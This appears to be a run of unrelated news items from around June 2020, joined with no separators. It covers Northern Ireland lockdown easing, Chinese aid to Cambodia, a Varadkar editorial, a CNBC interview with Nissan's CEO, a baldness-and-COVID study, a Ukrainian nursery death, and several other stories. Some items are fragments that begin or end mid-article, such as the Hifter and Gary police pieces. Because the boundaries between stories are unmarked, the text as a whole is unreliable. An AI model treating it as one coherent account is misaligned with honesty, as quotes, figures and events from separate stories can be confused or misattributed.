DUP Economy Minister Diane Dodds is calling on the Executive to fast-track its journey out of lockdown and open shops, cafes, restaurants and bars.

And she is urging it to consider reducing social distancing guidelines here from two metres to one metre so businesses can serve more customers.

A relaxation would also have major implications for public transport and the reopening of schools.

The World Health Organisation (WHO) recommends one-metre social distancing, but the UK and Republic believe two metres is the safest option.

The Executive will discuss the DUP proposal when it meets on Monday morning.

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Support for accelerating the easing of lockdown so significantly isn't guaranteed, with Sinn Fein insisting throughout the pandemic that public health must always be the priority over business needs. Alliance, the SDLP and Ulster Unionists are also likely to be cautious.

Mrs Dodds said that the economic consequences of not opening for business would be colossal.

She has written to Health Minister Robin Swann, who is responsible for Northern Ireland's coronavirus regulations. The Department of Health will now order risk assessment modelling.

Chief Medical Officer Dr Michael McBride and Chief Scientific Officer Professor Ian Young are expected to give their views to the Executive before Monday's meeting.

The DUP move comes as the Taoiseach announced a fast-tracking of the Republic's journey out of lockdown, with all shops allowed to reopen on Monday unless they are in a shopping centre.

Mrs Dodds said we had to move more swiftly out of lockdown.

"Every month that passes with significant restraints on trading is the equivalent of a large scale recession," she said.

"Northern Ireland output is at least 25%-30% down. I have never tried to sugar-coat this. I fear that the recovery will not be as quick as the decline.

"The greatest help we as an Executive can provide to people is to allow our economy to function again in a manner that protects both staff and customers.

"On that basis I have requested that the Executive considers allowing the wider retail sector to open up and begin trading again."

The DUP minister said she wanted to see "as much of our economy open as possible".

She added: "Obviously this reopening must be in line with our knowledge about the transmission of the virus and consistent with the medical advice.

"However, as long as shops, cafes, restaurants, bars and attractions can open up in a safe and sensible way then we should move ahead with that phased reopening."

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Mrs Dodds said that the Executive had "big decisions" to make on social distancing.

She noted that UK, Irish, US and Swiss government advice was that people should remain two metres apart.

In Germany, the Netherlands and Poland it was one-and-a-half metres. Sweden, Finland, Norway and Austria have adopted the WHO-recommended one metre.

"New research funded by the WHO suggests that keeping one metre apart can reduce the likelihood of catching Covid by some 80%," Mrs Dodds said.

"It is generally accepted that we will be co-existing with this virus for some time. The difference between one and two metres will dramatically impact on workplaces such as a production line on a shop floor or a hotel's ability to hold functions such as wedding receptions, conferences or banquets. Likewise it impacts how many customers a restaurant or bar can safely serve at one time, or how many people can visit a theatre, travel in a bus or sit in a cafe. These are the balance of judgments that the Executive has to make."

Businesses have been pressing for a relaxation of guidelines.

However, a study published this week suggested that moving from two to one metres could significantly increase the risk of infection.

The Lancet study, which reached its conclusions from an analysis of nine pieces of research, put the risk of infection at 3% when people stand more than one metre away, compared with 13% if within one metre.
China provides more medical supplies to Cambodia for COVID-19 fight

PHNOM PENH, June 4 (Xinhua) -- China has donated another batch of medical supplies to aid Cambodia's fight against the COVID-19.

Chinese Ambassador to Cambodia Wang Wentian handed over the items to Cambodia's Health Minister Mam Bunheng at a ceremony held in Phnom Penh on Wednesday afternoon.

Wang said China highly valued the special visit of Cambodian Prime Minister Samdech Techo Hun Sen to China on Feb. 5 when China was in a critical stage in coping with the COVID-19 outbreak.

Also, he said China would never forget personal contributions made by Cambodian King Norodom Sihamoni and Queen Mother Norodom Monineath Sihanouk to support China's efforts to stem the virus spread.

"China-Cambodia joint fight against COVID-19 is a model for international cooperation," Wang said at the event.

Speaking at the ceremony, Bunheng expressed his profound thanks to China for donating medical supplies to Cambodia, saying that the items are very useful for the country to strengthen its measures of prevention, control, and response to the COVID-19.

Noting that Cambodia and China are "iron friends," he said, "This assistance is a new testament to the unbreakable friendship, solidarity and cooperation between Cambodia and China."

"Our joint COVID-19 fight clearly reflects our joint commitment towards building the Cambodia-China community of shared future," he added.

The batch of medical supplies was just one of many that the Chinese government and people had provided to the Southeast Asian country for the COVID-19 fight.

In March, the Chinese government sent to the country a team of doctors specializing in fighting against COVID-19, along with tons of necessary medical equipment and supplies.

Cambodia has so far reported a total of 125 confirmed COVID-19 cases, mostly imported, and no death has been recorded, said the Ministry of Health, adding that currently, only two out of the patients remain hospitalized.
Taoiseach Leo Varadkar has joined other world leaders in expressing revulsion at the killing of George Floyd in the US and subsequent events.

He pointedly decried "the absence of moral leadership or words of understanding, comfort or healing from whence they should have come".

A demarche of such vehemence, veiled though it was, says much.

But Mr Varadkar was merely speaking to the global dismay and anxiety at the alarming turn of events in America.

President Trump should he take heed - which is unlikely given his insouciance concerning international criticism - he might appreciate the critique comes as much from concern as censure.

As Mr Varadkar said: "It is right to be angered by injustice." He also rightly drew attention to the real problem of racism on our own shores, and the continuing need to root it out.

This week we have seen both the ugly and the hopeful faces of the United States.

While many were angry and scared, the majority acted with dignity, taking trouble to defuse, not stoke tension.

For instance, in Fayetteville, North Carolina, a line of 60 police officers knelt before a group of protesters "as a show of understanding the pain that is in our community and our nation regarding equality", according to the police department.

Protesters, at first furious at the show of force, then hugged and shook hands with officers, witnesses said. Of course policemen taking a knee, or walking in solidarity, will not give George Floyd his life back. But such gestures are far from empty. They prevented tense situations from escalating further. They also stand in stark contrast to Mr Trump's view that his country is engaged in a war with its own factions.

A war he is desperate to convince only he, and his followers, can win. The prospects for a more pluralistic democracy have never looked more in peril.

As former president Barack Obama put it: "The waves of protests across the country represent a genuine and legitimate frustration over a decades-long failure to reform police practices and the broader criminal justice system in the US."

Mr Trump presides over a disunited states. A divide and conquer agenda split the political landscape. Throughout, Mr Trump favoured one particular fragment whom he sees as "the base".

American presidents, through good times and bad, traditionally focused on more than one group. They also saw the benefit of embracing global relationships. But not this one.

Commenting on the leadership vacuum, the 'Washington Post' wrote: "In a crisis demanding resolve and competence, the commander in chief sits at home, feebly tapping on his phone. It's a potent metaphor - and a national shame."

It's also something of a tragedy.

To date the US has lost more than 105,000 people to Covid-19. Its economy is in free fall and 40 million are out of work. People had reason to anticipate more than inflammatory tweets in response.
Below is the transcript of an exclusive CNBC interview with Makoto Uchida, CEO, Nissan. If you choose to use anything, please attribute to CNBC and Julianna Tatelbaum.

Julianna Tatelbaum (JT): Thank you so much, sir, for joining us for the CNBC conversation. So, let's kick off with your new strategy that you announced in March. How would you describe the new direction for Nissan?

Makoto Uchida (MU): Well, first of all, thank you for the question and for us we really need to transform ourselves. That's one of the announcements we made on the last week called "Nissan Next". So, what is a goal output that we expect is we want to have sustainable profit and that we must honestly address on the area of underperformance and pullback from the area that the previous overexpansion that has been done in Nissan. So, this means we need to optimize our production at an appropriate level and also the operation while enhancing operational efficiency. And it also means that we are going to prioritize ourselves which market that we further can be able to grow. And this is a building around the product and market and technologies where the Nissan can be truly successful and taking our market focus as one the examples, we are prioritizing further sustainable growth mainly in Japan, China and the US and because these markets are where Nissan has a strong presence on which we can build and have competitive advantage in segments such as SUV pickup in new technology and AVs where the leaf is the word highest volume zero emission car and autonomous drive, namely the proPILOT.

JT: And part of your new strategy is around a restructuring of the alliance and the new strategy, focusing now on this leader follower model, which effectively means Nissan will retreat from Europe and Renault from Asia and course so a little bit more than that. How do you ensure that the alliance will develop and grow under this new model?

MU: Well, let me put it this way. When I took over the CEO position in December, I've always been saying that the alliance should be a competitive tool for each company, which means that the alliance synergy should make a contribution to each company in terms of the revenue and in terms of the profit. And we look back at what is still a good way of working in the alliance and whether that we can further leading accounts [inaudible]. And we came to the conclusion together with Mr. Senard, who is the chairman of the alliance and my partner in Renault Clotilde [Delbos]. And Mitzubishi's Masukosan and myself, well, we started to further enhance the name, especially on the engineering competence that each company has and also the model that each company can lead. And for Nissan, if I take one example, like in Europe, we want to maintain or sustain ourselves in Europe as a brand. Then how to sustain it is what Nissan has to decide. So, we will make our strategy first and we will think about our product lineup, how that could be satisfied. First, who is our customer? Then we are the area that I can get benefit from the support from the alliance, especially from the Renault in Europe. So, this is how we are working and also in ASEAN we will do the same with Mitsubishi. And of course, the Nissan has a good expertise and potential further to grow in U.S. and Japan and China, where we can also support our partner Renault and the Mitsubishi. So, this is how we are forming. And again, our goal is how each company can make out a steady growth in their respective that vision and that where the alliance is going to contribute.

JT: What if it doesn't go exactly as you hope it does, as some analysts have called this a "last roll of the dice" when it comes to your collaboration with your alliance partners. So, what if this collaboration doesn't go smoothly? Where does that leave Nissan?

MU: Of course, when we go along definitely there'll be a lot of a challenges. But again, I want to emphasize the point that the alliance should be a competitiveness asset for each company and how we can use those assets to make each company grow is a key point. So, we have a very close communication. We called the Alliance operational board every month where we put everything on the table very transparently, because let me remind that the alliance mind set is that we should have transparency on everything with each other and how we can make sure to respect and how we can trust each other. If we cannot trust those, then how we can bring those that each business for the benefit of each company. So therefore, I'm very confident that on the way that we have further to grow definitely there's a lot of the healthy discussion that we may foresee [challenges] but at the end we'll be able to overcome and that could be beneficial for each company, which we have been doing that for the past 20 years. So, the alliance is not like a stagnant phase today. Rather, we are reinforcing and enhancing more how alliance can contribute to each company, so that is something I really can express here and that I really would like to further explain to the market how we can make sure those assets to be utilized.

JT: And when it comes to your specific plans at Nissan outside of the alliance, part of this transformation that you've unfolded here involves a pretty significant capacity reduction as well as plant closures. Would be great IF you can give us a little bit more detail on how you think about your cost base in Europe specifically and also the specific decision to close your Barcelona plant and keep open your Sunderland as your production base.

MU: Okay. First of all, I would like to touch a little bit about the situation where Nissan needs to transform ourselves. So, when we talk about transformation, we need to look back at what went wrong in the past strategy and how we can restore ourselves on a steady growth path. So, this is the most important. But in order to do so, by knowing that we had quite a push of the volume as our first priority of the strategy before we want to look back, what would be the level that we can do or perform in the future, especially under this COVID situation every automotive industry has been disrupted and also this has a lot of influence. So therefore, we are looking at first of all, to say FY20 our TIB could go down, year on year at the range of 15 to 20 percent and then how each pocket can recover on the TIB is something that we already simulated. Then one of the areas that we believe is how we can control the cost. Cost means the fixed cost and the valuable cost. When it comes to the fixed cost, we need to kind of make ourselves to be a right size at the area that makes the equation profitable for the company. And one of the areas that we help pursue is that how we can have the right size our production capacity with the efficiency of the operation. And as I made the announcement last week, we have started the decision already on the Indonesia plant closure. We intend to close on Barcelona. That's where we are starting to right-size. So, these are the areas that we are focusing where that the cost we can control first. Then how does those can bridge to the steady growth where that new vehicle is coming that the strategy we are taking is to have more with a quality of the sales while revenue enhancement per vehicle on the core model and that should these to the growth for each region, the market that we exist and how we can make sure our presence to be there. So, this is as our - I would say - priority and the focusing area that we have announced last week and that definitely this is not yet a mid-term plan, rather, we call that "Nissan Next". So that means for the next two years, under the difficult situation, what we have to prioritize is how we can make sure we are on the path of growth.

JT: Well, when you talk about right sizing, what kind of numbers are we talking about here when it comes to the number of potential job cuts, production line cuts?

MU: Yeah, so as you have heard our presentation, we are making ourselves to - let's say we have existing capacity of seven point two million units of production. Then that would go down to the six million, which would represent about a 20 percent reduction. But this would have flexibility, further, because we are counting that on the three shift and then when it comes to two shift, that means five point four at the next three years down the road. Then that has a flexibility of up to six million where that if we could further perform with our new vehicles and the opportunity growth of the volume, that should be able to cover in terms of the production.

JT: Let's talk a little bit about how COVID19 has affected your business. Can you talk us through the way you've adapted both in terms of short term measures you've taken, as well as medium term measures that you're currently taking to try to position your business to be able to weather this storm effectively?

MU: Yeah. Again, I would say that COVID19 has clearly disrupted our industry and automotive group has very much been influenced by this crisis. But first, our priorities are definitely the human and health care. So how we can make sure our employees and our wider global networks, suppliers, partners could be safe. This is my first priority and is where the company is focusing on. But in the meanwhile, how we can make sure to go through this crisis is the kind of the daily operation that we are measuring in terms of our cash position and to make sure that while cash the cash in by the revenue, is limited under this crisis, how we can control the cash out. And this kind of management has been done weekly, including myself and we as Nissan are trying to go through this difficult pass. Definitely the working style has changed because this is more on the remote access from the home. One the area that they would like to highlight is at this time, the Covid that what you see on the TV is a reality that you're feeling. So this is something that we have to bear in our mind that we probably would have to further anticipate this situation and how we can live with that is going to be one of the area that we as a company has to face and how we can live together under this difficult circumstances in the right manner will be one of the key. And that this is I would say on one side is a lesson to learn and that we should be able to progress ourself to more efficient ways under the circumstances.

JT: Let's look a little bit beyond Nissan now at how the pandemic could affect the broader auto industry and potentially change consumer behavior around autos. Do you think this could lead to potentially to more buying of cars as people now are more acutely aware of the risks of using public transportation? How is the pandemic poised to affect the broader auto industry?

MU: At this moment, I very difficult to say what will be because we are still in the middle of this situation, but definitely digital sales would be more enhanced, and people have their own individual mobility priority might come faster than what we expect. So, this could be another area that Nissan can further make our service to good for the customer. So, I think the industry itself would, as you may be aware, that the evolution of the industry is coming very fast in terms of the case of mobility service, that's what we are seeing in the past. But this COVID situation may even accelerate that the speed of those needs would come in the future much faster than we would expect. This is my personal feeling. And this is something that we need to anticipate. And what value our company and you can give to the customer is going to be most important for us.

JT: That's really interesting. So, your view, your outlook on the auto industry and the recovery that we could see has actually improved somewhat on the back of what we've seen develop with the pandemic?

MU: Well, I would say the both way that we need to anticipate past the COVID situation and how we can flexibly to adapt ourselves towards that would be most key. I would not say that will be improved. I would say that we need to have a flexibility on the circumstances that we are going to face continuously, probably. Then how we can live with that is going to be a most important.

JT: Now, governments globally have been trying to encourage the transition to electric vehicles. We've seen it in the European Commission's recent proposal around it's a recovery fund. We've also seen it here in the U.K., in London with the ultra-low emission zones. How do you make sure that you're ready as a company and prepared for the increase in demand and technology needed for this new class of vehicles?

MU: Yeah, I would say that this is going to be quite challenging from the automotive industry point of view, because more and more I think that regulations will be more challenging for each company. So definitely. The way of our business may change, the way of our sourcing may change. For instance, how are we going to further develop our business scheme with our partners and suppliers? So, this would be a need to further adapt towards the journey that we will probably have to face. Because definitely if we were to meet the regulation there would be some certain costs. But would that be possible for the customer to pay? I would say no. Then how can we make sure that we can give the competitive value or service to the customer? And in order to do that, we need to probably to change the way of working with our partner when it comes to the supplier to adapt. So, this is a turning point that we really need to focus how we can make sure we adapt ourselves to that.

JT: Now, another big topic when we talk about the future of the auto industry is mobility. I'm curious your thoughts on the decision of some of the U.S. players to focus more on mobility and automobiles as a service as opposed to a product.

MU: Yes, definitely when you talk about mobility service in the future, this is area that we also are looking for it and that we do have partnerships that have already started working on this like Waymo and some other companies in each respected region. So, again, what will be the speed in which the mobility service would come? And definitely, automotive companies like Nissan cannot think this as our own business scheme. We need to think of the support on the partner in the future. And that's the area that we are also focusing. And as such, how we can further provide our strength for the Nissan, which means we have a lot of experience coming from the EV, which is represented by the Leaf again, and that we have autonomous drive technology that Nissan has already demonstrated to the customer. So, our mission is how we can link those two to provide to the service to the customer in the future when it comes to the mobility service. So, this is area that we are also looking at and very challenging that we need to think on the future.

JT: So, should we expect Nissan to get more involved, more partnerships with tech players specifically?

MU: Again, this is very open for me. Definitely, when that comes to be our benefit in the future. Definitely. We would like to further those things, but we need to make sure to too first grow our strengths in our core competence. Then, further, how we can link our technology or strengths towards to this mobility services area that we are still tackling, to be very honest.

JT: I'd love to dive into your different regional focuses now - you've highlighted how moving forward Nissan is going to really hone in on China, North America and Japan and Europe will be left more to your alliance partner, Renault. So, kicking off of China, in your last role, you led Nissan's China business where you expanded Nissan's presence greatly in the region. Where do you see the China business heading in the future?

MU: Well, China I would say this way for my experience. I would say five years ago, when we bring the global product from, let's say in Japan or US to China, we could expect the natural growth of the sales. But now that Chinese customer is changing, I would say that before it was more on the first time buyer but now shift to the second time buyer, and if you ask a Chinese customer today who is driving, say, a compact car, like a A or a B segment, well, with the car of the future, they will go to a C or a D, much higher. So, the speed of the customer need is moving much faster than we expect. So, we need to focus in China. We call in the company to "design to market": How we can make sure our product to be designed to market for the customer, and the "time to market" and the time to market is very important in China, in terms of the speed. So, this is an area that that we have further to focus because today we have a very strong foundation with our partner in China. And the point is how we can make sure we can flexibly adapt to the speed of the China to further to provide our value to the customer. So, China is a very interesting region, but the speed is a key. Then we must make sure do we cope with that. We have to make sure that we are not going to be late to this.

JT: And we know that the Chinese government has been instrumental in steering the auto industry when it comes to things like subsidies for certain vehicles. What's your expectation for how a stimulus may evolve in China with regards to the auto sector?

MU: Well, I'm not in a position to comment about the trade war between the governments, but differently China would move probably quicker when it comes to the mobility service. For instance, if you talk about connectivity, when I was in China, the customer's expectation of the feature and the connectivity was much, much faster than what we expect. So, I think that is one of the challenge or beauty of China. And we really need to be cautious and we need to be ready to to adapt towards that. And I'm sure that the there's still potential growth in China when it comes to the mobility. Then there's a lot of the potential that we can foresee. So I'm very excited to see what will be the next area that we need to focus on in China, where we have a very strong fundament foundation today and how we can make sure to those to be a goal.

JT: And the U.S. - another part of your plan is to prioritize the US as part of your core markets. How are you going about rebuilding the quality of your business in the United States? What are you going to do differently now than you've done in the recent past?

MU: Yeah. So, if we talk about the U.S., definitely we need to look back. What went wrong in our operation? We were a little bit very much focused on the volume, which was not the right way at the end because it has affected the brand itself. So the way we are shifting is we call that the quarter of the sales enhancement, and we shifted quite quickly so therefore, in the third quarter, when I talk about the financial Nissan announcement, we were not out the expected speed in terms of the our profitability. What was wrong was in the direction of our strategy? Now we had a lot of the debate and one of the weak areas I think was our engagement with our partners and leadership. So, starting from the last February when we started to have this new consensus that this value has satisfied our partner and we have more close relations with dealer engagement, we started picking up our growth of revenue per unit. So this is a first the demonstration we foresee then we have to make sure how the new for instance, like we have a new low replacement, the extra is coming in US and how we can make sure that the value of Nissan can be secure in the future. So, I would say still a bit early to say when the US can be really on the recovery, on our operation, knowing that the COVID situation is also a little bit uncertain. But definitely, we are on the right direction. And I am very much looking forward to making sure we can restore our brand image in the US and as well as a partnership with our dealer. Of course, the partnership when I say it is with suppliers as well and to have the right path, on track, in the US.

JT: Right. Let's come on to Japan. I'm curious about your new strategy here. It's effectively rediscovering your home market. Nissan historically had been really driven by global expansion. And some critics would say that it was at the expense of your home market, that you neglected the Japanese market to some extent. Just how much opportunity is there in Japan now and what's the timeframe for ramping up this business?

MU: So, Japan is our home market and we need to definitely rebuild. And it is true that we need to admit that our new car introduction Japan in the past 18 months was quite known. We already have a new lineup coming. And as we expand every year that we have a new product coming at at the right speed and right product, I'm very sure that the home market can rebuild in terms of how our presence. I would also like to reinforce my statement that Nissan always demonstrated our new technology in Japan. Starting with the leaf, starting with our autonomous proPILOT. So, we really need success in Japan market. Or, what does it mean by Nissan in Japan [inaudible] and that would be definitely to be spread to the other regions. So, we are very much focused on Japan and I'm quite confident that we can get our strong presence back in Japan because Japan is a home market and we have to make sure that to be further demonstrated.

JT: How do you want to be known in Japan relative to your competitors, Toyota, for example? What do you want me son to be known for in the future?

MU: Well, Nissan - we always had innovation. And I think in terms of the innovation Nissan still has a lot of strengths in this country. I believe that people would feel excited about the Nissan product and that this is something that we have to keep on delivering to the customer. And that is our mission we have to do in Japan to make sure that we provide something exciting that the customer feels for the customer, for the human being. So, this is area that I am looking, and I really would like to drive the company in Japan in that direction to make sure that Nissan will be well acknowledged in Japan as a Japanese company on the Japanese product.

JT: Now, there have been several high-profile corporate scandals in Japan over the last decade. A couple of, you know, airbag maker Takata Toshiba, your company with Carlos Ghosn saga that unfolded last year. This has raised questions about corporate governance in Japan. In your view, is there a systemic issue in Japanese corporate culture?

MU: Well, if I say no, because the if you look at the Nissan, this was kind of unique, I think we had admitted in the past. Therefore, we went to this governance of corporate governance. This is today. We have a very good governance in place. Monthly, I'm in this board and they make sure that our board of directors at the governance are monitoring our corporate execution. So, I think this is moving in the right direction and I don't feel any issue that we will foresee. And I think it is moving to the right direction for the corporate governance in Japan, for Nissan Company itself.

JT: In Nissan itself, how do you think employees, customers and your suppliers are feeling now that Carlos Ghosn has departed the company and he was really a titan and not only of Nissan, but the global car industry?

MU: Yes. I would rather talk about what I have to do in Nissan for the future. So I would say when I became CEO, I said that the I intend to build the corporate culture where we listen to the customers, dealers and suppliers and the whole wide range of the stakeholders in and outside of the organization, this is a culture where different opinions are welcome. And to restore the culture through the company we have a lot of the meaning as we call the Nissan-ness or the Nissan way that we already implemented, which guide our approach to work. I will lead making sure this entire organization embrace these changes. And I really would like to say I want to make sure our employee feels proud to be walking for Nissan. This is what I really have to make sure. So, whilst we have this internal confidence, I'm sure the external market or stakeholder would start to understand that Nissan is really changing. And this is my commitment I have to do as a CEO.

JT: Where do you think the public and investors are in terms of confidence and trust in Nissan after the events of last year surrounding Carlos Ghosn?

MU: Yeah, I would say in the past two years that we had not been able to demonstrate what we have said. So, it is very crucial for me when I introduce Nissan next, I have to make sure what I have said are committed and it will be demonstrated. So, after the next six months, what we say is visible and that is the only way to restore the trust from the stakeholder. And that is something that that we make sure this time that we are showing that something that is challengeable and to make sure that to be materialized. So, this is the only way for me to make sure that the Nissan can be credible to the stakeholder.

JT: Fair enough. Let's talk a little bit about a couple of the major macro issues surrounding the world at the moment, the US-China trade war. There's a lot of expectation that this could lead to lasting changes in supply chains around the world. The auto industry, of course, very global in its nature when it comes to supply chains. What kind of changes do you anticipate for the sector?

MU: Yeah. Well, again, obviously, I cannot comment on this trade dispute between the governments. Rather, we have to adapt our work within whatever the trading agreement and the tariff scheme are in place. So, while at Nissan we are thinking how we can properly localize our the parts we make where we build that makes the costs more competitive and more efficient. At the same time, we need to also to have what could be alternative source. So, this is area. Again, I would say the automotive industry is changing, moving very fast, and therefore we have to make sure the way of the working is our partners, with the supplier, has to be adapted to that. So, this is our priority today, how we can make sure to work with our partner in terms of the supply chain. But the way of the working to anticipate the change of the industry or technology that we should not be sitting on the old way. We should be flexible to adapt that makes our business partner to grow further together with us. So, this is what I can say today. Sorry, not in the detail yet, but when the times comes that I think we'll be able to explain furthermore the way of the working with a partners and suppliers.

JT: Right. Now one of your main plants is in the United Kingdom, Sunderland, and we discussed how you do plan to keep this as your production base here in Europe. What would a hard Brexit do to your business? And I'm thinking about tariffs and potentially higher procurement costs.

MU: Yeah, definitely that. We need to cautiously monitor how the government was going to make a deal in terms of Brexit, when it comes to the tariff agreement, because this would have a lot of influence in our operation. But again, I would like you to focus and emphasize that we would like to keep up our brand in Europe and how we can keep the brand knowing that the anticipation in the future is something that we are building today. So, this is what I can say today.

JT: And I'd love to just learn a little bit more about you. You personally, I understand that you grew up outside of Japan, which is really interesting, given Nissan is such a global business and with the alliance it's so crucial to be able to work with different cultures. How has that helped you in your role as CEO and why did you decide to take this job?

MU: Well, first, you're right. I grew up in Egypt for five years and then Malaysia for next five years. When I first joined the previous company in the Philippines five years, I'd been to the other countries as well. Namely, in Korea and China. So, one of my personal strengths is that I have a good adaptability or flexibility, knowing different cultures. And that is helping today at Nissan where we need to respect the diversity, where we need to respect a partner when it comes to Renault, a different culture or even in Japan Nissan and Mitsubishi are not in the same culture. So how we can make sure that we can ensure trust among us for the common goal was one of the most important things. I would believe so. And that's where I had a lot of experience in the past, which is helping today when I work in the company or with a partner.

JT: And why did you decide to take this job at the helm?

MU: Well, again, Nissan, I always said, and I'd say that several times in my speech that Nissan has a great talent and more, I would say, capability to deliver. Today's output or performance is not what I know as Nissan. So, I really would like to bring back Nissan on the I would say that true to Nissan performance to be demonstrated. And that's the reason why I feel very responsible of my job and I'm committed to do so and that this is what I would like to pursue as a CEO of the Nissan. And that's one of the reasons why I took this job.

END

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A new study of coronavirus victims has unearthed a stunning finding: bald men could be at greater risk of having serious coronavirus s...





A new study of coronavirus victims has unearthed a stunning finding: bald men could be at greater risk of having serious coronavirus symptoms.





Professor Carlos Wambier, the lead author of the study, said he believes baldness is a perfect predictor of the severity at which people will suffer from Covid-19.





The Brown University professor conducted two studies in Spain which found that a disproportionately high number of men with male pattern baldness were taken to hospital with coronavirus.





The first study found 71% of the 41 patients examined with Covid-19 in Spanish hospitals were bald, with the background rate of baldness for white men of a similar age to the patients between 31 and 53%.

The second study, which was published in the Journal of the American Academy of Dermatology, found 79% of the 122 male coronavirus patients in Madrid hospitals were bald.





Scientists have argued androgens  male sex hormones  may contribute to hair loss and increase the ability of the coronavirus to attack cells.





That means hormone-suppressing drugs could potentially be used to slow Covid-19s progress and allow sufferers time to recover.





Professor Wambier told the Telegraph: We think androgens or male hormones are definitely the gateway for the virus to enter our cells.





*Reported by UK Metro
Crawford & Company, a global independent provider of claims management and outsourcing services to carriers, brokers and corporates, is has promoted Tami Stevenson to senior vice president, global general counsel. Stevenson will report to Joseph Blanco, Crawfords president.

As general counsel and corporate secretary, Stevenson succeeds Blanco who was promoted to Crawfords president in early May. She will be responsible for leading the legal department which includes legal, compliance and securities. In addition, she will support the board in maintaining best practices in governance policies and procedures.

According to Joseph Blanco, Stevenson has provided strategic counsel on a broad range of legal, business and operational matters during her tenure at Crawford.

Stevenson is a 23-year veteran of Crawford, based in Atlanta, and has held multiple leadership roles throughout her tenure. She served as Crawford TPA: Broadspires general counsel until January of this year when she was promoted to Crawfords deputy general counsel  corporate.

Prior to Crawford, Stevenson held several corporate counsel positions with a focus on workers compensation and property casualty law and she served for six years in the United States Air Force Reserves.
05.06.2020 LISTEN

The Savannah Regional Secretary of the opposition National Democratic Congress, Mr.Salisu Be-Awurbi, has admonished the security agencies to forewarn the Akuffo-Addo led government on the dangerous path it's taken this country.

According to him, the adamant insistence of the government of the day to foment trouble through the Electoral Commission in the wake of the deadly Coronavirus is most unfortunate.

He noted that the security agencies would have been rendering service to the nation if they decline from taken wrongful commands from government which may end up not favouring them.

In a strongly worded message, the NDC scribe disclosed that the security agencies may end up incurring the wrath of Ghanaians if they yield to government pressure in the needless attempt to compile a new voters register.

The student lawyer said there is a clear signal that the men and women in uniform are not happy with the actions and inactions of the government of the day and EC and are hiding to discuss same in close doors, but can't openly criticise the government.

"I know when you want to speak, it is on purpose, crisp and to the point.I know your silent silent speech is loud and deafening. Speak Clearly to your commanders to warn the Government on the dangerous path that they are taking this country through. That you can't resist the fury of the masses and the ravages of Corona Virus Pandemic," he cautioned.

Mr.Bi-Awurbi urged the security personnel of the country to keep in mind that many of their colleagues are already battling with the deadly Coronavirus. Some, he added, have also lost their lives to this deadly virus, whilst others are under mandatory quarantine due to the needles exposure they have been subjected to by political superiors.

He stressed that in yielding to the needless pressure from the government, the security agencies should remember their families and the peace that all Ghanaians are currently enjoying.

He appealed to the security of the country to rather die in defence of mother Ghana and not a foolish, unconscionable and unreasonable political manipulation and manoeuvres.
Hifter, a dual U.S.-Libyan citizen and former CIA asset who lived for years in Northern Virginia, received heavy weaponry and other military support from the United Arab Emirates, Egypt and other regional powers in violation of a U.N. arms embargo. Russia printed billions in Libyan dinars to finance his war, pay his fighters salaries and bribe local tribes to support him, according to diplomats and analysts. France and other European powers elevated his stature diplomatically and politically inside and outside Libya.
A nursery school teacher tied a pillow to the face of a one year old girl - 'causing her to die from suffocation and vomiting'.

Irina Sukhanova, 51, has been detained by police in Zaporizhia, south-eastern Ukraine, on suspicion of murder, according to law enforcement officials.

The carer wanted to stop the girl, named Alesya, from crying on her first trial day at the private nursery - after she was bitten by another child.

A horrific CCTV video shows her tying the pillow over the baby's face before trying to get her to sleep.

An horrific video shows how a nursery school teacher in Ukraine tied a pillow to the face of a one year old girl - 'causing her to die from suffocation and vomiting'

The terrified girl suffocated from her own vomit because her face was covered, say police.

She died from 'gastric obstruction of the respiratory tract'.

Instead of urgently calling an ambulance, Sukhanova is accused of seeking to wipe the CCTV records.

Police later restored the video evidence, it was reported.

At an extraordinary court room confrontation during Sukhanova's custody hearing the teacher is seen denying to Alesya's grief-stricken parents that she murdered the helpless girl.

'I did not kill your child,' she said in the showdown.

Irina Sukhanova, 51, has been detained by police in Ukraine on suspicion of murder, according to law enforcement officials

At an extraordinary court room confrontation during Sukhanova's custody hearing the teacher is seen denying to Alesya's grief-stricken parents that she murdered the helpless girl

Father Eduard Gak, 24, asked in disbelief: 'Did not kill? I saw how you did not kill.'

The teacher replied: 'You will understand'

Gak told her: 'Shut your mouth.'

The girl's mother Alina, 23, said: 'It was just the first trial visit to the nursery.

'By phone she [Irina] assured me everything was good, and to look at testimonials about her.

'We really checked them.'

She said: 'How could she put the child asleep like this when she was vomiting?'

The carer wanted to stop the girl Alesya from crying on her first trial day at the private nursery - after she was bitten by another child

Her husband said: 'My wife came home at about 10 am, and suddenly got a call saying "Your child is not breathing".'

He then rushed to the nursery and attempted artificial respiration on his daughter, to no avail, and then called an ambulance.

'She was only slightly warm,' he said.

'It doesn't fit into my head what happened. Can you imagine what I saw?

'I cannot explain my emotions when I saw this. I can't find the words.

'My only one wish is to do the same to her, to take this pillow and... I can't say it another way.'

The CCTV video shows how she tied the pillow over the baby's face before trying to get her to sleep. The terrified girl suffocated from her own vomit because her face was covered, say police

Sukhanova claimed: 'It was a special bolster for the child, so if she falls, she would not injure her neck. It was only to protect the child, nothing more.'

She was detained on suspicion of murder and is also under investigation for running an illegal nursery.

Lawyer for the parents Teymur Mamedov said: 'Before the arrival of detectives, she removed the surveillance camera recordings from the hard drives, and hid the (pillow).

'She undressed the child and tried to hide other traces of the crime.'

Senior police officer Oleh Hryhorov said: 'The seized video and investigations prove the involvement of the owner of an illegal nursery school in the commission of a particularly serious intentional crime.....murder of a minor.'

A full-scale criminal investigation is now underway into the incident on 29 May.
An elderly man who feared being separated from his wife of 50 years because of her Alzheimer's disease has admitted he tried to kill her.

Joseph Sugar, 88, admitted to the attempted murder of his wife at their Melbourne care home in 2018 before they were due to be separated.

He was unable to bear the thought of living without her and seeing her suffer in that way, defence lawyer Trevor Wallwork told the Supreme Court on Friday.

"He just did not want to be separated from his wife but they woke up the next morning in those tragic and terrible circumstances," the lawyer said.

Sugar injected his then 74-year-old wife Heather with an overdose of insulin.
At one point, as demonstrators began walking into the path of oncoming cars, Gary police repositioned a number of cars farther west on Fifth Avenue to shut down the right lane of travel.

The Lake County Sheriffs Department conducted a third-party investigation into Cunninghams shooting death and has turned its findings over to the Lake County prosecutors office.

A spokesman for the prosecutors office said no determination was made yet about whether the shooting was justified, because the office is still waiting on reports and has been delayed by the coronavirus pandemic.

Gary spokesman Michael Gonzalez said Thursday that Price has returned to work on desk duty.

Fox said she sometimes thinks about how to tell her 2-year-old son what happened to his father and cries.

He asks about his dad a lot, she said, adding that she relied on Cunninghams support in raising their child.

Jessica Cunningham accused police of ignoring the familys demands and said they wanted justice.

If the police killed your son and didnt give you answers, how would you feel? she said.
